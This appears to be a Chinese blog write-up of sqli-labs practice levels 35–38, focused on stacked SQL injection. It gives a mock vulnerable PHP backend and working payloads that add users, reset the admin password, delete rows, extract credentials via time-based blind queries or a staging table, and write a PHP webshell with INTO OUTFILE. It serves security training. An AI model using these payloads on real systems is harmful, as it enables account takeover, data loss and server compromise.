sqli-labs Less-35 ~ Less-38

sqli-labs Less-35 ~ Less-38 详细题解

题目来源: sqli-labs
题目方向:web SQL


sqli-labs第三十五关

使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码,直接使用联合查询就可以了


sqli-labs第三十六关

使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样


sqli-labs第三十七关

三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。


sqli-labs第三十八关

sqli-labs Less-38 详细题解:堆叠注入


1. 关卡核心考点

Less-38 是 堆叠注入(Stacked Injection) 的入门关卡。

堆叠注入与普通注入的区别:

普通注入 堆叠注入
只能执行一条 SQL 语句 可以执行多条 SQL 语句
--+# 注释掉后面内容 ; 分隔多条语句
只能做 SELECT 查询 可以 INSERT、UPDATE、DELETE、DROP

为什么前面不能用堆叠?
因为之前所有关卡的后端都只执行了 mysqli_query(),这个函数一次只能执行一条 SQL。
而 Less-38 使用了 mysqli_multi_query(),它允许一次执行多条用 ; 分隔的 SQL 语句。


2. 后端源码(模拟)

<?php
$conn = mysqli_connect("localhost", "root", "root", "security");

$id = $_GET['id'];

// 关键:使用 mysqli_multi_query(),允许多条语句
$sql = "SELECT * FROM users WHERE id='$id'";
mysqli_multi_query($conn, $sql);

// 处理结果
do {
    if ($result = mysqli_store_result($conn)) {
        while ($row = mysqli_fetch_assoc($result)) {
            echo "Your Login name: " . $row['username'];
            echo "<br>";
            echo "Your Password: " . $row['password'];
        }
        mysqli_free_result($result);
    }
} while (mysqli_next_result($conn));
?>

关键行:

mysqli_multi_query($conn, $sql);

这个函数允许在一条 SQL 字符串中用 ; 分隔多条语句。


3. 堆叠注入的基本方法

普通注入:

1' union select 1,2,3 --+

堆叠注入:

1'; insert into users(username, password) values('hacker','hacked') --+

; 分隔:

第一条:SELECT * FROM users WHERE id='1';
第二条:INSERT INTO users ...;

4. 常用堆叠注入 payload

4.1 插入新用户

?id=1'; insert into users(username, password) values('hacker','hacked') --+

执行后,users 表会增加一条 hacker / hacked 的用户。

然后用 hacker / hacked 登录 Less-38 或其他关卡即可。


4.2 修改 admin 密码

?id=1'; update users set password='newpass' where username='admin' --+

登录 admin / newpass


4.3 删除一条数据(谨慎)

?id=1'; delete from users where username='dumb' --+

4.4 创建表(极端情况)

?id=1'; create table backdoor(id int, data text) --+

4.5 结合联合查询查看数据

如果想通过同一个请求既看到原始数据又看到注入结果,可以用:

?id=1'; select * from users where username='admin' --+

但注意:mysqli_multi_query() 会返回多个结果集,页面可能会依次显示它们。


5. 完整解题示例

5.1 判断是否存在堆叠注入

?id=1'; --

如果能正常返回数据(没有报错),说明 ; 被支持,可能存在堆叠。

5.2 插入一个新用户

?id=1'; insert into users(username, password) values('test','test123') --+

5.3 验证插入成功

?id=1

或者直接用新账号在其他关卡登录。


6. 注意事项

注意点 说明
; 是关键 在 SQL 输入中用 ; 分隔多条语句
--+ 仍然需要 用来注释掉后面多余的 SQL 部分
第二句不能有错误 如果第二句语法错误,整个请求可能失败
堆叠注入并非所有环境都有 需要后端使用 mysqli_multi_query() 或类似函数

7. 与 Less-39~41 的关系

关卡 类型 闭合方式
Less-38 堆叠注入(字符型) '
Less-39 堆叠注入(数字型) 无引号
Less-40 堆叠注入(字符型) ')
Less-41 堆叠注入(数字型) 无引号

堆叠注入的方法都一样,只是闭合方式不同。


8. 一句话记忆

堆叠注入 = 普通注入 + 分号 + 第二条 SQL

示例:

1'; insert into users(id,username, password) values('200','hacker','hacked') --+

image

堆叠注入只能修改数据,不能查询吗?

堆叠注入完全可以做查询(SELECT),但不能直接通过页面回显看到查询结果——这是核心区别。


1. 堆叠注入能查,但看不到结果

普通注入(UNION SELECT)把结果合并到页面中直接展示,比如:

1' union select 1,2,3 --+

页面会显示 23

堆叠注入执行 SELECT 时:

1'; select * from users --+

SELECT 确实被执行了,但 mysqli_multi_query() 创建了一个新的结果集,而大部分页面只显示第一个结果集的内容(即原始 SELECT * FROM users WHERE id='1' 的结果),后续 SELECT 的结果不会展示在页面上

所以说:可以查,但结果不显示。


2. 既然看不到,怎么利用 SELECT?

堆叠注入的 SELECT 功能通常配合时间盲注写入操作来间接利用。

方式一:时间盲注验证

1'; select if((select substring(database(),1,1)='s'),sleep(3),0) --+

如果数据库名第一位是 s,服务器延迟 3 秒。利用它逐位爆破数据。


方式二:把查询结果写入一个新表

既然看不到结果,就让结果落地到数据库里,然后单独去取。

1'; create table tmp_data( data text) --+
1'; insert into tmp_data( data) select group_concat(username,':',password) from users --+

然后直接访问:

?id=1' union select 1,data,3 from tmp_data --+

就能看到刚才存进去的数据。


3. 堆叠注入的强项到底是什么?

堆叠注入的真正威力和优势在于 修改操作,这些不需要回显,执行就生效:

操作 示例
插入数据 1'; insert into users(...) values(...) --+
修改数据 1'; update users set password='newpass' where username='admin' --+
删除数据 1'; delete from users where id=5 --+
创建表 1'; create table backdoor(...) --+
写 webshell 1'; select "<?php system($_GET['c']);?>" into outfile "/var/www/html/shell.php" --+

普通联合查询注入只能做 SELECT(查看),堆叠注入能做 增删改(操作)


4. 一句话总结

堆叠注入不是不能查,是查了你也看不见。
想看见,就靠时间盲注或把结果写进新表再单独读取。
它真正的用途是执行修改、插入、删除、建表等操作。
posted @ 2026-07-29 10:22  Dragon_Roar  阅读(4)  评论(0)    收藏  举报